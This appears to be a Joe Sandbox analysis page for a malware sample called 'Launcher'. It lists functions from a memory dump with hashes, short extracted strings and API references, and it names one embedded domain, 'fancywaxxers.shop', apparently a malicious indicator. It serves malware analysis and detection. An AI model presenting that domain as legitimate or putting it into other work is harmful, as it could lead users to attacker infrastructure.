Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID: ]u^M$f$
API String ID: 2994545307-2142408042
Opcode ID: 0558b0c129fb9a171e61cb6d7387aad0ba633565014c968f90a1910270bdea44
Instruction ID: 0a279e339b71809561ad50d231401fb7b3b1077c7e87f1934ddd92d7d0c5644c
Opcode Fuzzy Hash: 0558b0c129fb9a171e61cb6d7387aad0ba633565014c968f90a1910270bdea44
Instruction Fuzzy Hash: 7C32F3316083118FC324CF18C98162BBBE2FFC9714F299A2DE8A5A7391D7749C45CB96

Function 0041C11B Relevance: 4.0, Strings: 3, Instructions: 253COMMON

Download Yara Rule

Strings

|LB, xrefs: 0041C255
_\, xrefs: 0041C244
uD1Z, xrefs: 0041C234

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: _\$uD1Z$|LB
API String ID: 0-2431801616
Opcode ID: a7c59270c99c37fa0e6652de8ef67736ef743fe6bd310cb0c67fb51b806b3fe6
Instruction ID: 35190d881e67effd6d83c8d1cff351e307bc427b3058eb9eef896c99c9a543db
Opcode Fuzzy Hash: a7c59270c99c37fa0e6652de8ef67736ef743fe6bd310cb0c67fb51b806b3fe6
Instruction Fuzzy Hash: 2B6164719883508BC310CF68C8A03A7BBF1EFD6710F18491EE9D64B391E3799845CB96

Function 00429E60 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00429F44

Strings

(B@, xrefs: 00429E8A

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: (B@
API String ID: 237503144-531059959
Opcode ID: a9071ab454f2f0a85482ba77c7f80c453cd7f1c70bf70896c5d0c3c5a4a24a9d
Instruction ID: 7a466beb3453d2a94cd47e14cda35037e48f8f8107390256e7f8803d903435c6
Opcode Fuzzy Hash: a9071ab454f2f0a85482ba77c7f80c453cd7f1c70bf70896c5d0c3c5a4a24a9d
Instruction Fuzzy Hash: CA3189702883A58FD3148F65E89175FBBE0FB86744F118E2DB5D1AB285C3B8C9068F46

Function 0040AFC0 Relevance: 3.1, Strings: 2, Instructions: 561COMMON

Download Yara Rule

Strings

wTmj, xrefs: 0040B1B9
nXn^, xrefs: 0040B19B

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: nXn^$wTmj
API String ID: 0-3444503285
Opcode ID: f449f7a5219041df55fa648c3ba4bd4d1655a2cb1abbf5f217a06fe2d1d101fb
Instruction ID: a81764ebb8fafca7ccb625041ee60ba14c0a995eb891b2f9329b44a1377c6ca1
Opcode Fuzzy Hash: f449f7a5219041df55fa648c3ba4bd4d1655a2cb1abbf5f217a06fe2d1d101fb
Instruction Fuzzy Hash: 832299B5601B00CFD7248F3ADC41797BBE2FB86324F158A2DD5AA8BAA1D735A405CF44

Function 0041B83D Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

puhu, xrefs: 0041B943
p_XY, xrefs: 0041B8FF, 0041B9AC

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: p_XY$puhu
API String ID: 0-555233025
Opcode ID: 5dd956f4254ef3912dde3d4ee126fef2e994a00d6844a58019311753e1006666
Instruction ID: 25705284d1912745489a2b125c61e5755d11fd7465938d520c955f5090d59bb6
Opcode Fuzzy Hash: 5dd956f4254ef3912dde3d4ee126fef2e994a00d6844a58019311753e1006666
Instruction Fuzzy Hash: D941E2756593808BE7248F28C8517EBBBE1ABD6714F044A2CF1C1973D1C7BD84468B97

Function 0040C9D1 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

WT, xrefs: 0040CA21
LB, xrefs: 0040C9F1

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: WT$LB
API String ID: 0-1809656251
Opcode ID: 65baaf937429bd46559f1de6a519290f47108aa5315e10210f523219a8c02f60
Instruction ID: c044addac74e2195e2a38c63a5d39ab7b77122cdf4c7e4e132fb09bc0236822c
Opcode Fuzzy Hash: 65baaf937429bd46559f1de6a519290f47108aa5315e10210f523219a8c02f60
Instruction Fuzzy Hash: 9E31D07461C3419BD714CF24D850ABBB7F0EF96704F04992CE5C6AB290E7359901CB5E

Function 00429862 Relevance: 1.8, APIs: 1, Instructions: 279COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,00000009,00000000,?,?), ref: 004298A5

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 8afb14956285518fa280d62508b096acaf666cf1d94ff0ca4e03ea41c7a8a07e
Instruction ID: f3cb67f291b31e8f16a8797d75788ece4522c73c39ae7d46b160a6e80877efb3
Opcode Fuzzy Hash: 8afb14956285518fa280d62508b096acaf666cf1d94ff0ca4e03ea41c7a8a07e
Instruction Fuzzy Hash: 0EA10075A4472A8FDB15CF28D80029ABBB0FB89310F1585ADD855AF796D778E843CBC0

Function 00439520 Relevance: 1.7, Strings: 1, Instructions: 449COMMON

Download Yara Rule

Strings

klm", xrefs: 004395E0

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: klm"
API String ID: 0-2308819284
Opcode ID: a74f35ff605fe97aaeb18d287236b80e9982595f7bcc04b4fd37d1bb3f0a3c61
Instruction ID: 7a9750e4551ebf1954c0a41cd32d3904478a0e68b8c10cfd18ffb8a37f1c12f3
Opcode Fuzzy Hash: a74f35ff605fe97aaeb18d287236b80e9982595f7bcc04b4fd37d1bb3f0a3c61
Instruction Fuzzy Hash: EDC16B35B083105BC724DF64C88162BB7A2EBCA324F18E62EE89557391D779DC01CBCA

Function 0042AFD0 Relevance: 1.7, Strings: 1, Instructions: 413COMMON

Download Yara Rule

Strings

", xrefs: 0042B2B8

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: b7111b32f24b601ac1554fe3c29a8fc4e6acd6896c579abe38adf76d922e0b48
Instruction ID: 8e9a8fdc6933830d3b15878bb5b7661706b34bd3bbfdd374c5d46c585f0e708c
Opcode Fuzzy Hash: b7111b32f24b601ac1554fe3c29a8fc4e6acd6896c579abe38adf76d922e0b48
Instruction Fuzzy Hash: EDD1F3B2B083249FC714DE25E48076BB7EAEB84354F48856EE89587382D738DD44C7D6

Function 0041958C Relevance: 1.6, Strings: 1, Instructions: 326COMMON

Download Yara Rule

Strings

}z, xrefs: 004198A6

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: }z
API String ID: 0-1805159782
Opcode ID: 119beb9765d45ff57fcd73ad26b86ee8af9f85c5d142f731421d74bcc6758d8a
Instruction ID: fd881fb731ae51f419b43ad56ce19f17630366934205c948b817534467eb2026
Opcode Fuzzy Hash: 119beb9765d45ff57fcd73ad26b86ee8af9f85c5d142f731421d74bcc6758d8a
Instruction Fuzzy Hash: 84913471508351CBC728CF2984622EBB7A2EFD2314F194A6EE4D24B3D1D7398D46C79A

Function 00428DA0 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

TWVI, xrefs: 004290E2

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: TWVI
API String ID: 0-4013521978
Opcode ID: d149efda25f1ab2a9411171e4af5485b67d8e0cde69e93525119ea2ba0317ec1
Instruction ID: 353c15a4a7eab624ea48434a8efe2573c5e2ba11fbb0f0242505dbf7aa7593b9
Opcode Fuzzy Hash: d149efda25f1ab2a9411171e4af5485b67d8e0cde69e93525119ea2ba0317ec1
Instruction Fuzzy Hash: B49177BAE01225CBEB108F54DC4177AB7B1FF86314F1941ADE845A7391EB389D11CB98

Function 0043D25E Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

Av@W, xrefs: 0043D370

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: Av@W
API String ID: 0-1474723828
Opcode ID: 85b3cd01c5f914bea2240d3942ded5c35aa92e574370ae2e40849d9725853cfd
Instruction ID: ee9cb0aeaeb26b4c6adbc6cf6b5c2ff711d18795069e5b77fa2e4e7ea149e332
Opcode Fuzzy Hash: 85b3cd01c5f914bea2240d3942ded5c35aa92e574370ae2e40849d9725853cfd
Instruction Fuzzy Hash: 28412876D142108BDF08CF34DC9106B3BA2FB5732071995BDD852AB266E735A915CB48

Function 0040A7EC Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

fancywaxxers.shop, xrefs: 0040A7EF

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: fancywaxxers.shop
API String ID: 0-444537838
Opcode ID: 031702ac80caefc220187496f0608c2545d799ba000bcd78cd2a106a4db4938b
Instruction ID: 7fdf60f6266f1770a230444ef1ab68aa5dc679987d4298debcfc4078a7b3e129
Opcode Fuzzy Hash: 031702ac80caefc220187496f0608c2545d799ba000bcd78cd2a106a4db4938b
Instruction Fuzzy Hash: 8EE08C34441200CBE7289F08C872633B3B1EF47345B00A42AE683EB790E3B89811C75E

Function 00429129 Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b26c463131a41dd7ebffa349224320f865e7cb4bfc107789b8db720c5a6c393
Instruction ID: 17f79d2e6398be03846489baa8db15764808728c946d9086fce6de7a60fd527f
Opcode Fuzzy Hash: 7b26c463131a41dd7ebffa349224320f865e7cb4bfc107789b8db720c5a6c393
Instruction Fuzzy Hash: 0B025A72E006268BC714CFA9CC916ABB7B1FF95310F194259D895AB790E378AC41C7D4

Function 004074F0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e58bb79a52713d02a4e21882f4a0b4c66b9283835b0637b801eaf4d4971774
Instruction ID: f9c93a1f4a15545db4df113879b1446ff536c60033af629806031d82aee4f31d
Opcode Fuzzy Hash: f3e58bb79a52713d02a4e21882f4a0b4c66b9283835b0637b801eaf4d4971774
Instruction Fuzzy Hash: 91229131A087118BD725DF18D9806ABB3E1BFC4319F19893ED986A7385D738B8518B4B

Function 004209F0 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2397645643b67eee3760b04a0ddeae63b71b3144e0e2b1ae6491f4a8ed3a620
Instruction ID: 57af61a2f24853a442454295d5f6e51f3f6e769107102920e57d4b0beaf173b2
Opcode Fuzzy Hash: e2397645643b67eee3760b04a0ddeae63b71b3144e0e2b1ae6491f4a8ed3a620
Instruction Fuzzy Hash: 55E124B2A143208BC324CF14D891667B7F1FF91324F598A2DD8819B3A5E7799805C796

Function 00405960 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11a6147a2b6eb16571bd941547aed8d0a3d17ba8a81220b21fb8b0f93edbe60c
Instruction ID: bd4695bd4a91c458dbd91007f74b66778dd61921d0bcfeeb8de2ae26ddba9b9f
Opcode Fuzzy Hash: 11a6147a2b6eb16571bd941547aed8d0a3d17ba8a81220b21fb8b0f93edbe60c
Instruction Fuzzy Hash: BFF1EF356087418FD724CF29C88066BFBE6EFD9304F08882EE4D597791E679E904CB96

Function 0041D0EC Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63d7c60189d5b193f9d6ebac6e54e270bf61855bb05929e860aad9be32d9294
Instruction ID: 97647d2581a9266053cb2234a8f9ea393b0bb5c21c105c298fc83af06d3f0025
Opcode Fuzzy Hash: b63d7c60189d5b193f9d6ebac6e54e270bf61855bb05929e860aad9be32d9294
Instruction Fuzzy Hash: 3DB123B0D006218BCB24CF29C8917B7B7B1FF55324F189259D892AB394E738A981CB95

Function 0041D50B Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0534c20fbcc37563a4ee7541f03a9c45aaf969663f104ba63ccae0ac28b912b
Instruction ID: 89223b593495c96e13904909ae296b4ea00f86350b28a529d271ec9d40b45f17
Opcode Fuzzy Hash: e0534c20fbcc37563a4ee7541f03a9c45aaf969663f104ba63ccae0ac28b912b
Instruction Fuzzy Hash: 50B179B0D006228BDB24CF28C8526B7B7B1FF65314F29925DD8569B7D0E339A942C7E4

Function 004400B0 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9c456201f1cf21a37d88306c4514ad9a74a583257dd1d1d34bae3be2361b8ed9
Instruction ID: e0c7b546b7067e99543c163dd7f53aeca314a77a279e38b762e7c5e779e7b9ef
Opcode Fuzzy Hash: 9c456201f1cf21a37d88306c4514ad9a74a583257dd1d1d34bae3be2361b8ed9
Instruction Fuzzy Hash: 5AA1D2317083119BD7188E28C89166FB7E2FFC9314F18892DEA8687391D739EC618746

Function 0043FD30 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 512cdb9ef57af2acf6108c8d8bc585957c705f547558ae4b89e45f5dd3baf3e0
Instruction ID: 15e780e8fddc7a158be1097415ef2988485d574f9ff016b82cc65b2a13088d3b
Opcode Fuzzy Hash: 512cdb9ef57af2acf6108c8d8bc585957c705f547558ae4b89e45f5dd3baf3e0
Instruction Fuzzy Hash: 3CA121317043019BD718DE29D8D1A6BB3E2EFD9704F14982DE9898B396D738DC15C746

Function 0043C210 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5d530f8668c565c4c97ac44e2d7250ab959bc1f39cfe8b15c310751031abb288
Instruction ID: 1ad67c413aac757d12f73f769f8a0381d86b46a625bc9fffe4cab8e592e374e4
Opcode Fuzzy Hash: 5d530f8668c565c4c97ac44e2d7250ab959bc1f39cfe8b15c310751031abb288
Instruction Fuzzy Hash: 1F617934A083108BD728DF58C8D153BB7A2EB9E324F24956EDCD6A73A1D3789C41C74A

Function 0042BEA2 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f131d14112409b12e179c068751437eb37fd56f1c8760bfcbd0e0fecbfc6f5
Instruction ID: f3bef746c05d8d25ec8891bd0bf64c970d9e0e87bb49cc6eb07c10010867d501
Opcode Fuzzy Hash: 41f131d14112409b12e179c068751437eb37fd56f1c8760bfcbd0e0fecbfc6f5
Instruction Fuzzy Hash: 8E51373560D7A18BDB398F3998903EABBD2AFD2315F1D86ADC4D99B245CB3804068752

Function 0041F040 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c09e3f65a204e07b28ab8d5023bd8ed547d8efc128d21d07ddecfd0d310144
Instruction ID: 44ef8e5e4a1b9b9ddd51ba1cf95b5f467ec63638cff9e683fda607ad6b46f006
Opcode Fuzzy Hash: d6c09e3f65a204e07b28ab8d5023bd8ed547d8efc128d21d07ddecfd0d310144
Instruction Fuzzy Hash: 0D616B359083909FC725CF38C88096B7BE1AF96314F4882BEE8D447392D635DC4AD796

Function 00415F48 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6986c6f9c0d85d87e67130b0ffbe39956332e00d21344b85676f559d951b47fb
Instruction ID: 8a5df433684c84198e345b04f15531cea5dff4bbf48f949c05d65425c0aed6d0
Opcode Fuzzy Hash: 6986c6f9c0d85d87e67130b0ffbe39956332e00d21344b85676f559d951b47fb
Instruction Fuzzy Hash: AF31F8326056009BC718DF15C8526EBB3E2EFC6311F0A8A6DD4D68B395EF389842C756

Function 0043C020 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c961615fa0f47013fa962fcec47b6a70ed30072c8363a8c4a27daa202374d6e
Instruction ID: 364b26bb08707fd7d499a80ebb3dd882880c7efe6ebafdf1df6cd898e5fbc846
Opcode Fuzzy Hash: 6c961615fa0f47013fa962fcec47b6a70ed30072c8363a8c4a27daa202374d6e
Instruction Fuzzy Hash: 253144329493108FC320DF54D98071BF7E2EBCA718F19992DE485A7352C3B99846CBDA

Function 00435B00 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: a68d62dcbddcdb8b9f416d0c472bf2c9d73d63cd0f69a6346b70ab09098f0d40
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 38110C33A055D80EC3168D3C8410565FFA30AA7235F6D939AF4B89B2D2D6279D8B8369

Function 0042AAA0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef8284f27494c80324fc34cad5d293ff4159cfc93502b0189767ab5a2ab4df5
Instruction ID: 39e3f676f0c1629ad18124290ffcbdfe59dd817f4eb47327412d9c7ce55b049b
Opcode Fuzzy Hash: 8ef8284f27494c80324fc34cad5d293ff4159cfc93502b0189767ab5a2ab4df5
Instruction Fuzzy Hash: C10192F170071147DA209E11A5C1B27B2A96F54708F49043EDD4557342DB7DEC28C29A

Function 0043E4E1 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 400eb49f81a6c15fbec6a339d92570330734f2a54c810b861c3ba3f52d18e379
Instruction ID: ebeb5e338d4e1a372e3a3283c09f0b98c3c2e5ce38ef4f2e2fe6521dc189d252
Opcode Fuzzy Hash: 400eb49f81a6c15fbec6a339d92570330734f2a54c810b861c3ba3f52d18e379
Instruction Fuzzy Hash: 66F022A4B093605FC3A48F3D98D06633B66DB9B634320635CE451A73F5C232AC0B8B98

Function 00402B90 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c6286c0fd786c5696bbffd32bbe49e703b4a4a47ebca009d40f2a9d1870d21
Instruction ID: e96af16111d310ce2e1aa9d351d6bbdfa04bdd5c3c1b279633fe45c47c7d4bd9
Opcode Fuzzy Hash: 48c6286c0fd786c5696bbffd32bbe49e703b4a4a47ebca009d40f2a9d1870d21
Instruction Fuzzy Hash: E8F0FC277557160B9350DDBDDDD4627B3A5EBC5218B0D4139FA40D7381D8B9E801A194

Function 0042FF7F Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0042FFB8

Strings

A, xrefs: 0042FFF2
C, xrefs: 0042FFFA
B, xrefs: 0042FFF6
%, xrefs: 0042FFDE
G, xrefs: 0042FFEA
=, xrefs: 0042FFEE
K, xrefs: 0042FFDA
E, xrefs: 0042FFE2
3, xrefs: 0042FFE6

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitVariant
String ID: %$3$=$A$B$C$E$G$K
API String ID: 1927566239-1830440523
Opcode ID: 0a3195b636a36e942599dfb7146adbe928bf1004bfb6cc7a23bc4aa84722cccc
Instruction ID: b0399b514cab54ba09f69848df8e38ce30ec9dce7d74d45864d74ff4f53150d8
Opcode Fuzzy Hash: 0a3195b636a36e942599dfb7146adbe928bf1004bfb6cc7a23bc4aa84722cccc
Instruction Fuzzy Hash: CC51C2B56087808FD315CF38C995756BFE1AF5A304F0889AEC49ACB397C678E909CB15

Function 0042F6DC Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 95COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0042F712

Strings

B, xrefs: 0042F74A
C, xrefs: 0042F74E
%, xrefs: 0042F732
=, xrefs: 0042F742
E, xrefs: 0042F736
A, xrefs: 0042F746
G, xrefs: 0042F73E
K, xrefs: 0042F72E
3, xrefs: 0042F73A

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

